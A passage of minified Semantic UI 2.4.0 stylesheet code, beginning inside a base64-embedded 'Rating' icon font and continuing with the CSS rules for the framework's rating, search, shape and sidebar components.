BYaQiZCLjwgOZ4v3txWLkpCPlo0I9yOgzPcWBY6SkI+Ri5CLkIePhAjL+xb3I3YFlomQh4uEi4aJh4aGCCMmpPsjBYuKi4mLiIuCh4aDi4iLh4yHjQj7FM/7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwjKeRXjN3b7DfcAxPZSd/cN4t/7DJ1V9wFV+wEFDq73ZhWLk42RkZEIsbIFkZCRjpOLkouSiJCGCN8291D3UAWQkJKOkouTi5GIkYYIsWQFkYaNhIuEi4OJhYWFCPuJ+4kFhYWFiYOLhIuEjYaRCPsi9yIFhZCJkouSCA77AartFYuSjpKQkAjf3zffBYaQiJKLk4uSjpKQkAiysgWRkJGOk4uSi5KIkIYI3zff3wWQkJKOk4uSi5KIkIYIsmQFkIaOhIuEi4OIhIaGCDc33zcFkIaOhIuEi4OIhYaFCGRkBYaGhIiEi4OLhI6GkAg33zc3BYaGhIiEi4OLhY6FkAhksgWGkYiRi5MIDvtLi8sVi/c5BYuSjpKQkJCQko6SiwiVi4vCBYuul6mkpKSkqpiui66LqX6kcqRymG2LaAiLVJSLBZKLkoiQhpCGjoSLhAiL+zkFi4OIhYaGhoWEiYSLCPuniwWEi4SNhpGGkIiRi5MI5vdUFfcni4vCBYufhJx8mn2ZepJ3i3aLeoR9fX18g3qLdwiLVAUO+yaLshWL+AQFi5GNkY+RjpCQj5KNj42PjI+LCPfAiwWPi4+Kj4mRiZCHj4aPhY2Fi4UIi/wEBYuEiYWHhoeGhoeFiIiKhoqHi4GLhI6EkQj7EvcN+xL7DQWEhYOIgouHi4eLh42EjoaPiJCHkImRi5IIDov3XRWLko2Rj5Kltq+vuKW4pbuZvYu9i7t9uHG4ca9npWCPhI2Fi4SLhYmEh4RxYGdoXnAIXnFbflmLWYtbmF6lXqZnrnG2h5KJkouRCLCLFaRkq2yxdLF0tH+4i7iLtJexorGiq6qksm64Z61goZZ3kXaLdItnfm1ycnJybX9oiwhoi22XcqRypH6pi6+LopGglp9gdWdpbl4I9xiwFYuHjIiOiI6IjoqPi4+LjoyOjo2OjY6Lj4ubkJmXl5eWmZGbi4+LjoyOjo2OjY6LjwiLj4mOiY6IjYiNh4tzi3eCenp6eoJ3i3MIDov3XRWLko2Sj5GouK+utqW3pbqYvouci5yJnIgIm6cFjY6NjI+LjIuNi42JjYqOio+JjomOiY6KjomOiY6JjoqNioyKjomMiYuHi4qLiouLCHdnbVVjQ2NDbVV3Zwh9cgWJiIiJiIuJi36SdJiIjYmOi46LjY+UlJlvl3KcdJ90oHeie6WHkYmSi5IIsIsVqlq0Z711CKGzBXqXfpqCnoKdhp6LoIuikaCWn2B1Z2luXgj3GLAVi4eMiI6IjoiOio+Lj4uOjI6OjY6NjouPi5uQmZeXl5aZkZuLj4uOjI6OjY6NjouPCIuPiY6JjoiNiI2Hi3OLd4J6enp6gneLcwji+10VoLAFtI+wmK2hrqKnqKKvdq1wp2uhCJ2rBZ1/nHycepx6mHqWeY+EjYWLhIuEiYWHhIR/gH1+fG9qaXJmeWV5Y4Jhiwi53BXb9yQFjIKMg4uEi3CDc3x1fHV3fHOBCA6L1BWL90sFi5WPlJKSkpKTj5aLCNmLBZKPmJqepJaZlZeVlY+Qj5ONl42WjpeOmI+YkZWTk5OSk46Vi5uLmYiYhZiFlIGSfgiSfo55i3WLeYd5gXgIvosFn4uchJl8mn2Seot3i3qGfIJ9jYSLhYuEi3yIfoR+i4eLh4uHi3eGen99i3CDdnt8CHt8dYNwiwhmiwV5i3mNeY95kHeRc5N1k36Ph4sIOYsFgIuDjoSShJKHlIuVCLCdFYuGjIePiI+Hj4mQi5CLj42Pj46OjY+LkIuQiZCIjoePh42Gi4aLh4mHh4eIioaLhgjUeRWUiwWNi46Lj4qOi4+KjYqOi4+Kj4mQio6KjYqNio+Kj4mQio6KjIqzfquEpIsIrosFr4uemouri5CKkYqQkY6QkI6SjpKNkouSi5KJkoiRlZWQlouYi5CKkImRiZGJj4iOCJGMkI+PlI+UjZKLkouViJODk4SSgo+CiwgmiwWLlpCalJ6UnpCbi5aLnoiYhJSFlH+QeYuGhoeDiYCJf4h/h3+IfoWBg4KHh4SCgH4Ii4qIiYiGh4aIh4mIiIiIh4eGh4aHh4eHiIiHiIeHiIiHiIeKh4mIioiLCIKLi/tLBQ6L90sVi/dLBYuVj5OSk5KSk46WiwjdiwWPi5iPoZOkk6CRnZCdj56Nn4sIq4sFpougg5x8m3yTd4txCIuJBZd8kHuLd4uHi4eLh5J+jn6LfIuEi4SJhZR9kHyLeot3hHp8fH19eoR3iwhYiwWVeI95i3mLdIh6hH6EfoKBfoV+hX2He4uBi4OPg5KFkYaTh5SHlYiTipOKk4qTiJMIiZSIkYiPgZSBl4CaeKR+moSPCD2LBYCLg4+EkoSSh5SLlQiw9zgVi4aMh4+Ij4ePiZCLkIuPjY+Pjo6Nj4uQi5CJkIiOh4+HjYaLhouHiYeHh4iKhouGCNT7OBWUiwWOi46Kj4mPio+IjoiPh4+IjoePiI+Hj4aPho6HjoiNiI6Hj4aOho6Ii4qWfpKDj4YIk4ORgY5+j36OgI1/jYCPg5CGnYuXj5GUkpSOmYuei5aGmoKfgp6GmouWCPCLBZSLlI+SkpOTjpOLlYuSiZKHlIeUho+Fi46PjY+NkY2RjJCLkIuYhpaBlY6RjZKLkgiLkomSiJKIkoaQhY6MkIyRi5CLm4aXgpOBkn6Pe4sIZosFcotrhGN9iouIioaJh4qHiomKiYqIioaKh4mHioiKiYuHioiLh4qIi4mLCIKLi/tLBQ77lIv3txWLkpCPlo0I9yOgzPcWBY6SkI+RiwiL/BL7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwgOi/fFFYu1l6yjoqOjrZe2i5aLl4mYh5eHloWWhJaElIWShZOEkoWShJKSkpGTkpKRlJGWkgiWkpaRl4+Yj5eNlou2i61/o3OjdJdqi2GLYXVgYGAI+0b7QAWHiIeJhouGi4eNh44I+0b3QAWJjYmNh4+IjoaRg5SElIWVhZSFlYaWh5mGmImYi5gIsIsVi2ucaa9oCPc6+zT3OvczBa+vnK2Lq4ubiZiHl4eXhpSFkoSSg5GCj4KQgo2CjYONgYuBi4KLgIl/hoCGgIWChAiBg4OFhISEhYaFhoaIhoaJhYuFi4aNiJCGkIaRhJGEkoORgZOCkoCRgJB/kICNgosIgYuBi4OJgomCiYKGgoeDhYSEhYSGgod/h3+Jfot7CA77JouyFYv4BAWLkY2Rj5GOkJCPko2PjY+Mj4sI98CLBY+Lj4qPiZGJkIePho+FjYWLhQiL/AQFi4SJhYeGh4aGh4WIiIqGioeLgYuEjoSRCPsS9w37EvsNBYSFg4iCi4eLh4uHjYSOho+IkIeQiZGLkgiwkxX3JvchpHL3DfsIi/f3+7iLi/v3BQ5ni8sVi/c5BYuSjpKQkJCQko6Siwj3VIuLwgWLrpippKSkpKmYrouvi6l+pHKkcpdti2gIi0IFi4aKhoeIh4eHiYaLCHmLBYaLh42Hj4eOipCLkAiL1AWLn4OcfZp9mXqSdot3i3qEfX18fIR6i3cIi1SniwWSi5KIkIaQho6Ei4QIi/s5BYuDiIWGhoaFhImEiwj7p4sFhIuEjYaRhpCIkYuTCA5njPe6FYyQkI6UjQj3I6DM9xYFj5KPj5GLkIuQh4+ECMv7FvcjdgWUiZCIjYaNhoiFhYUIIyak+yMFjIWKhomHiYiIiYaLiIuHjIeNCPsUz/sVRwWHiYeKiIuHi4eNiY6Jj4uQjJEIo/cjI/AFhZGJkY2QCPeB+z0VnILlW3rxiJ6ZmNTS+wydgpxe54v7pwUOZ4vCFYv3SwWLkI2Pjo+Pjo+NkIsI3osFkIuPiY6Ij4eNh4uGCIv7SwWLhomHh4eIh4eKhosIOIsFhouHjIePiI+Jj4uQCLCvFYuGjIePh46IkImQi5CLj42Pjo6PjY+LkIuQiZCIjoePh42Gi4aLhomIh4eIioaLhgjvZxWL90sFi5CNj46Oj4+PjZCLj4ySkJWWlZaVl5SXmJuVl5GRjo6OkI6RjZCNkIyPjI6MkY2TCIySjJGMj4yPjZCOkY6RjpCPjo6Pj42Qi5SLk4qSiZKJkYiPiJCIjoiPho6GjYeMhwiNh4yGjIaMhYuHi4iLiIuHi4eLg4uEiYSJhImFiYeJh4mFh4WLioqJiomJiIqJiokIi4qKiIqJCNqLBZqLmIWWgJaAkH+LfIt6hn2Af46DjYSLhIt9h36Cf4+Bi3+HgImAhYKEhI12hnmAfgh/fXiDcosIZosFfot+jHyOfI5/joOOg41/j32Qc5N8j4SMhouHjYiOh4+Jj4uQCA5ni/c5FYuGjYaOiI+Hj4mQiwjeiwWQi4+Njo+Pjo2Qi5AIi/dKBYuQiZCHjoiPh42Giwg4iwWGi4eJh4eIiImGi4YIi/tKBbD3JhWLkIyPj4+OjpCNkIuQi4+Jj4iOh42Hi4aLhomHiIeHh4eKhouGi4aMiI+Hj4qPi5AI7/snFYv3SwWLkI2Qj46Oj4+NkIuSi5qPo5OZkJePk46TjZeOmo6ajpiMmIsIsIsFpIueg5d9ln6Qeol1koSRgo2Aj4CLgIeAlH+Pfot9i4WJhIiCloCQfIt7i3yFfoGACICAfoZ8iwg8iwWMiIyJi4mMiYyJjYmMiIyKi4mPhI2GjYeNh42GjYOMhIyEi4SLhouHi4iLiYuGioYIioWKhomHioeJh4iGh4eIh4aIh4iFiISJhImDioKLhouHjYiPh4+Ij4iRiJGJkIqPCIqPipGKkomTipGKj4qOiZCJkYiQiJCIjoWSgZZ+nIKXgZaBloGWhJGHi4aLh42HjwiIjomQi48IDviUFPiUFYsMCgAAAAADAgABkAAFAAABTAFmAAAARwFMAWYAAAD1ABkAhAAAAAAAAAAAAAAAAAAAAAEQAAAAAAAAAAAAAAAAAAAAAEAAAPFlAeD/4P/gAeAAIAAAAAEAAAAAAAAAAAAAACAAAAAAAAIAAAADAAAAFAADAAEAAAAUAAQAkAAAACAAIAAEAAAAAQAg5gXwBvAN8CPwLvBu8HDwivCX8JzxI/Fl//3//wAAAAAAIOYA8ATwDPAj8C7wbvBw8Ifwl/Cc8SPxZP/9//8AAf/jGgQQBhABD+wP4g+jD6IPjA+AD3wO9g62AAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAEAAJrVlLJfDzz1AAsCAAAAAADP/GODAAAAAM/8Y4MAAP/bAgAB2wAAAAgAAgAAAAAAAAABAAAB4P/gAAACAAAAAAACAAABAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAEAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAdwAAAHcAAACAAAjAZMAHwFJAAABbgAAAgAAAAIAAAACAAAAAgAAAAEAAAACAAAAAW4AAAHcAAAB3AABAdwAAAHcAAAAAFAAABwAAAAAAA4ArgABAAAAAAABAAwAAAABAAAAAAACAA4AQAABAAAAAAADAAwAIgABAAAAAAAEAAwATgABAAAAAAAFABYADAABAAAAAAAGAAYALgABAAAAAAAKADQAWgADAAEECQABAAwAAAADAAEECQACAA4AQAADAAEECQADAAwAIgADAAEECQAEAAwATgADAAEECQAFABYADAADAAEECQAGAAwANAADAAEECQAKADQAWgByAGEAdABpAG4AZwBWAGUAcgBzAGkAbwBuACAAMQAuADAAcgBhAHQAaQBuAGdyYXRpbmcAcgBhAHQAaQBuAGcAUgBlAGcAdQBsAGEAcgByAGEAdABpAG4AZwBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==) format('woff');font-weight:400;font-style:normal}.ui.rating .icon{font-family:Rating;line-height:1;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.rating .icon:before{content:'\f005'}.ui.rating .active.icon:before{content:'\f005'}.ui.star.rating .icon:before{content:'\f005'}.ui.star.rating .active.icon:before{content:'\f005'}.ui.star.rating .partial.icon:before{content:'\f006'}.ui.star.rating .partial.icon{content:'\f005'}.ui.heart.rating .icon:before{content:'\f004'}.ui.heart.rating .active.icon:before{content:'\f004'}/*! + * # Semantic UI 2.4.0 - Search + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.search{position:relative}.ui.search>.prompt{margin:0;outline:0;-webkit-appearance:none;-webkit-tap-highlight-color:rgba(255,255,255,0);text-shadow:none;font-style:normal;font-weight:400;line-height:1.21428571em;padding:.67857143em 1em;font-size:1em;background:#fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);-webkit-box-shadow:0 0 0 0 transparent inset;box-shadow:0 0 0 0 transparent inset;-webkit-transition:background-color .1s ease,color .1s ease,border-color .1s ease,-webkit-box-shadow .1s ease;transition:background-color .1s ease,color .1s ease,border-color .1s ease,-webkit-box-shadow .1s ease;transition:background-color .1s ease,color .1s ease,box-shadow .1s ease,border-color .1s ease;transition:background-color .1s ease,color .1s ease,box-shadow .1s ease,border-color .1s ease,-webkit-box-shadow .1s ease}.ui.search .prompt{border-radius:500rem}.ui.search .prompt~.search.icon{cursor:pointer}.ui.search>.results{display:none;position:absolute;top:100%;left:0;-webkit-transform-origin:center top;transform-origin:center top;white-space:normal;text-align:left;text-transform:none;background:#fff;margin-top:.5em;width:18em;border-radius:.28571429rem;-webkit-box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);border:1px solid #d4d4d5;z-index:998}.ui.search>.results>:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.search>.results>:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.search>.results .result{cursor:pointer;display:block;overflow:hidden;font-size:1em;padding:.85714286em 1.14285714em;color:rgba(0,0,0,.87);line-height:1.33;border-bottom:1px solid rgba(34,36,38,.1)}.ui.search>.results .result:last-child{border-bottom:none!important}.ui.search>.results .result .image{float:right;overflow:hidden;background:0 0;width:5em;height:3em;border-radius:.25em}.ui.search>.results .result .image img{display:block;width:auto;height:100%}.ui.search>.results .result .image+.content{margin:0 6em 0 0}.ui.search>.results .result .title{margin:-.14285714em 0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;font-size:1em;color:rgba(0,0,0,.85)}.ui.search>.results .result .description{margin-top:0;font-size:.92857143em;color:rgba(0,0,0,.4)}.ui.search>.results .result .price{float:right;color:#21ba45}.ui.search>.results>.message{padding:1em 1em}.ui.search>.results>.message .header{font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1rem;font-weight:700;color:rgba(0,0,0,.87)}.ui.search>.results>.message .description{margin-top:.25rem;font-size:1em;color:rgba(0,0,0,.87)}.ui.search>.results>.action{display:block;border-top:none;background:#f3f4f5;padding:.92857143em 1em;color:rgba(0,0,0,.87);font-weight:700;text-align:center}.ui.search>.prompt:focus{border-color:rgba(34,36,38,.35);background:#fff;color:rgba(0,0,0,.95)}.ui.loading.search .input>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.search .input>i.icon:after{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:button-spin .6s linear;animation:button-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em;-webkit-box-shadow:0 0 0 1px transparent;box-shadow:0 0 0 1px transparent}.ui.category.search>.results .category .result:hover,.ui.search>.results .result:hover{background:#f9fafb}.ui.search .action:hover{background:#e0e0e0}.ui.category.search>.results .category.active{background:#f3f4f5}.ui.category.search>.results .category.active>.name{color:rgba(0,0,0,.87)}.ui.category.search>.results .category .result.active,.ui.search>.results .result.active{position:relative;border-left-color:rgba(34,36,38,.1);background:#f3f4f5;-webkit-box-shadow:none;box-shadow:none}.ui.search>.results .result.active .title{color:rgba(0,0,0,.85)}.ui.search>.results .result.active .description{color:rgba(0,0,0,.85)}.ui.disabled.search{cursor:default;pointer-events:none;opacity:.45}.ui.search.selection .prompt{border-radius:.28571429rem}.ui.search.selection>.icon.input>.remove.icon{pointer-events:none;position:absolute;left:auto;opacity:0;color:'';top:0;right:0;-webkit-transition:color .1s ease,opacity .1s ease;transition:color .1s ease,opacity .1s ease}.ui.search.selection>.icon.input>.active.remove.icon{cursor:pointer;opacity:.8;pointer-events:auto}.ui.search.selection>.icon.input:not([class*="left icon"])>.icon~.remove.icon{right:1.85714em}.ui.search.selection>.icon.input>.remove.icon:hover{opacity:1;color:#db2828}.ui.category.search .results{width:28em}.ui.category.search .results.animating,.ui.category.search .results.visible{display:table}.ui.category.search>.results .category{display:table-row;background:#f3f4f5;-webkit-box-shadow:none;box-shadow:none;-webkit-transition:background .1s ease,border-color .1s ease;transition:background .1s ease,border-color .1s ease}.ui.category.search>.results .category:last-child{border-bottom:none}.ui.category.search>.results .category:first-child .name+.result{border-radius:0 .28571429rem 0 0}.ui.category.search>.results .category:last-child .result:last-child{border-radius:0 0 .28571429rem 0}.ui.category.search>.results .category>.name{display:table-cell;text-overflow:ellipsis;width:100px;white-space:nowrap;background:0 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1em;padding:.4em 1em;font-weight:700;color:rgba(0,0,0,.4);border-bottom:1px solid rgba(34,36,38,.1)}.ui.category.search>.results .category .results{display:table-cell;background:#fff;border-left:1px solid rgba(34,36,38,.15);border-bottom:1px solid rgba(34,36,38,.1)}.ui.category.search>.results .category .result{border-bottom:1px solid rgba(34,36,38,.1);-webkit-transition:background .1s ease,border-color .1s ease;transition:background .1s ease,border-color .1s ease;padding:.85714286em 1.14285714em}.ui[class*="left aligned"].search>.results{right:auto;left:0}.ui[class*="right aligned"].search>.results{right:0;left:auto}.ui.fluid.search .results{width:100%}.ui.mini.search{font-size:.78571429em}.ui.small.search{font-size:.92857143em}.ui.search{font-size:1em}.ui.large.search{font-size:1.14285714em}.ui.big.search{font-size:1.28571429em}.ui.huge.search{font-size:1.42857143em}.ui.massive.search{font-size:1.71428571em}@media only screen and (max-width:767px){.ui.search .results{max-width:calc(100vw - 2rem)}}/*! + * # Semantic UI 2.4.0 - Shape + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.shape{position:relative;vertical-align:top;display:inline-block;-webkit-perspective:2000px;perspective:2000px;-webkit-transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out}.ui.shape .sides{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.ui.shape .side{opacity:1;width:100%;margin:0!important;-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.shape .side{display:none}.ui.shape .side *{-webkit-backface-visibility:visible!important;backface-visibility:visible!important}.ui.cube.shape .side{min-width:15em;height:15em;padding:2em;background-color:#e6e6e6;color:rgba(0,0,0,.87);-webkit-box-shadow:0 0 2px rgba(0,0,0,.3);box-shadow:0 0 2px rgba(0,0,0,.3)}.ui.cube.shape .side>.content{width:100%;height:100%;display:table;text-align:center;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text}.ui.cube.shape .side>.content>div{display:table-cell;vertical-align:middle;font-size:2em}.ui.text.shape.animating .sides{position:static}.ui.text.shape .side{white-space:nowrap}.ui.text.shape .side>*{white-space:normal}.ui.loading.shape{position:absolute;top:-9999px;left:-9999px}.ui.shape .animating.side{position:absolute;top:0;left:0;display:block;z-index:100}.ui.shape .hidden.side{opacity:.6}.ui.shape.animating .sides{position:absolute}.ui.shape.animating .sides{-webkit-transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out;transition:transform .6s ease-in-out,left .6s ease-in-out,width .6s ease-in-out,height .6s ease-in-out,-webkit-transform .6s ease-in-out}.ui.shape.animating .side{-webkit-transition:opacity .6s ease-in-out;transition:opacity .6s ease-in-out}.ui.shape .active.side{display:block}/*! + * # Semantic UI 2.4.0 - Sidebar + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.sidebar{position:fixed;top:0;left:0;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:none;transition:none;will-change:transform;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);visibility:hidden;-webkit-overflow-scrolling:touch;height:100%!important;max-height:100%;border-radius:0!important;margin:0!important;overflow-y:auto!important;z-index:102}.ui.sidebar>*{-webkit-backface-visibility:hidden;backface-visibility:hidden}.ui.left.sidebar{right:auto;left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.sidebar{right:0!important;left:auto!important;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.bottom.sidebar,.ui.top.sidebar{width:100%!important;height:auto!important}.ui.top.sidebar{top:0!important;bottom:auto!important;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.sidebar{top:auto!important;bottom:0!important;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.pushable{height:100%;overflow-x:hidden;padding:0!important}body.pushable{background:#545454!important}.pushable:not(body){-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.pushable:not(body)>.fixed,.pushable:not(body)>.pusher:after,.pushable:not(body)>.ui.sidebar{position:absolute}.pushable>.fixed{position:fixed;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;will-change:transform;z-index:101}.pushable>.pusher{position:relative;-webkit-backface-visibility:hidden;backface-visibility:hidden;overflow:hidden;min-height:100%;-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:2}body.pushable>.pusher{background:#fff}.pushable>.pusher{background:inherit}.pushable>.pusher:after{position:fixed;top:0;right:0;content:'';background-color:rgba(0,0,0,.4);overflow:hidden;opacity:0;-webkit-transition:opacity .5s;transition:opacity .5s;will-change:opacity;z-index:1000}.ui.sidebar.menu .item{border-radius:0!important}.pushable>.pusher.dimmed:after{width:100%!important;height:100%!important;opacity:1!important}.ui.animating.sidebar{visibility:visible}.ui.visible.sidebar{visibility:visible;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.left.visible.sidebar,.ui.right.visible.sidebar{-webkit-box-shadow:0 0 20px rgba(34,36,38,.15);box-shadow:0 0 20px rgba(34,36,38,.15)}.ui.bottom.visible.sidebar,.ui.top.visible.sidebar{-webkit-box-shadow:0 0 20px rgba(34,36,38,.15);box-shadow:0 0 20px rgba(34,36,38,.15)}.ui.visible.left.sidebar~.fixed,.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(260px,0,0);transform:translate3d(260px,0,0)}.ui.visible.right.sidebar~.fixed,.ui.visible.right.sidebar~.pusher{-webkit-transform:translate3d(-260px,0,0);transform:translate3d(-260px,0,0)}.ui.visible.top.sidebar~.fixed,.ui.visible.top.sidebar~.pusher{-webkit-transform:translate3d(0,36px,0);transform:translate3d(0,36px,0)}.ui.visible.bottom.sidebar~.fixed,.ui.visible.bottom.sidebar~.pusher{-webkit-transform:translate3d(0,-36px,0);transform:translate3d(0,-36px,0)}.ui.visible.left.sidebar~.ui.visible.right.sidebar~.fixed,.ui.visible.left.sidebar~.ui.visible.right.sidebar~.pusher,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.fixed,.ui.visible.right.sidebar~.ui.visible.left.sidebar~.pusher{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.thin.left.sidebar,.ui.thin.right.sidebar{width:150px}.ui[class*="very thin"].left.sidebar,.ui[class*="very thin"].right.sidebar{width:60px}.ui.left.sidebar,.ui.right.sidebar{width:260px}.ui.wide.left.sidebar,.ui.wide.right.sidebar{width:350px}.ui[class*="very wide"].left.sidebar,.ui[class*="very wide"].right.sidebar{width:475px}.ui.visible.thin.left.sidebar~.fixed,.ui.visible.thin.left.sidebar~.pusher{-webkit-transform:translate3d(150px,0,0);transform:translate3d(150px,0,0)}.ui.visible[class*="very thin"].left.sidebar~.fixed,.ui.visible[class*="very thin"].left.sidebar~.pusher{-webkit-transform:translate3d(60px,0,0);transform:translate3d(60px,0,0)}.ui.visible.wide.left.sidebar~.fixed,.ui.visible.wide.left.sidebar~.pusher{-webkit-transform:translate3d(350px,0,0);transform:translate3d(350px,0,0)}.ui.visible[class*="very wide"].left.sidebar~.fixed,.ui.visible[class*="very wide"].left.sidebar~.pusher{-webkit-transform:translate3d(475px,0,0);transform:translate3d(475px,0,0)}.ui.visible.thin.right.sidebar~.fixed,.ui.visible.thin.right.sidebar~.pusher{-webkit-transform:translate3d(-150px,0,0);transform:translate3d(-150px,0,0)}.ui.visible[class*="very thin"].right.sidebar~.fixed,.ui.visible[class*="very thin"].right.sidebar~.pusher{-webkit-transform:translate3d(-60px,0,0);transform:translate3d(-60px,0,0)}.ui.visible.wide.right.sidebar~.fixed,.ui.visible.wide.right.sidebar~.pusher{-webkit-transform:translate3d(-350px,0,0);transform:translate3d(-350px,0,0)}.ui.visible[class*="very wide"].right.sidebar~.fixed,.ui.visible[class*="very wide"].right.sidebar~.pusher{-webkit-transform:translate3d(-475px,0,0);transform:translate3d(-475px,0,0)}.ui.overlay.sidebar{z-index:102}.ui.left.overlay.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.overlay.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.overlay.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.overlay.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.animating.ui.overlay.sidebar,.ui.visible.overlay.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.visible.left.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.right.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.top.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.bottom.overlay.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.visible.overlay.sidebar~.fixed,.ui.visible.overlay.sidebar~.pusher{-webkit-transform:none!important;transform:none!important}.ui.push.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease;z-index:102}.ui.left.push.sidebar{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.ui.right.push.sidebar{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.ui.top.push.sidebar{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}.ui.bottom.push.sidebar{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.ui.visible.push.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ui.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:1}.ui.visible.uncover.sidebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s ease}.ui.slide.along.sidebar{z-index:1}.ui.left.slide.along.sidebar{-webkit-transform:translate3d(-50%,0,0);transform:translate3d(-50%,0,0)}.ui.right.slide.along.sidebar{-webkit-transform:translate3d(50%,0,0);transform:translate3d(50%,0,0)}.ui.top.slide.along.sidebar{-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.ui.bottom.slide.along.sidebar{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0)}.ui.animating.slide.along.sidebar{-webkit-transition:-webkit-transform .5s ease;transition:-webkit-transform .5s ease;transition:transform .5s ease;transition:transform .5s ease,-webkit-transform .5s 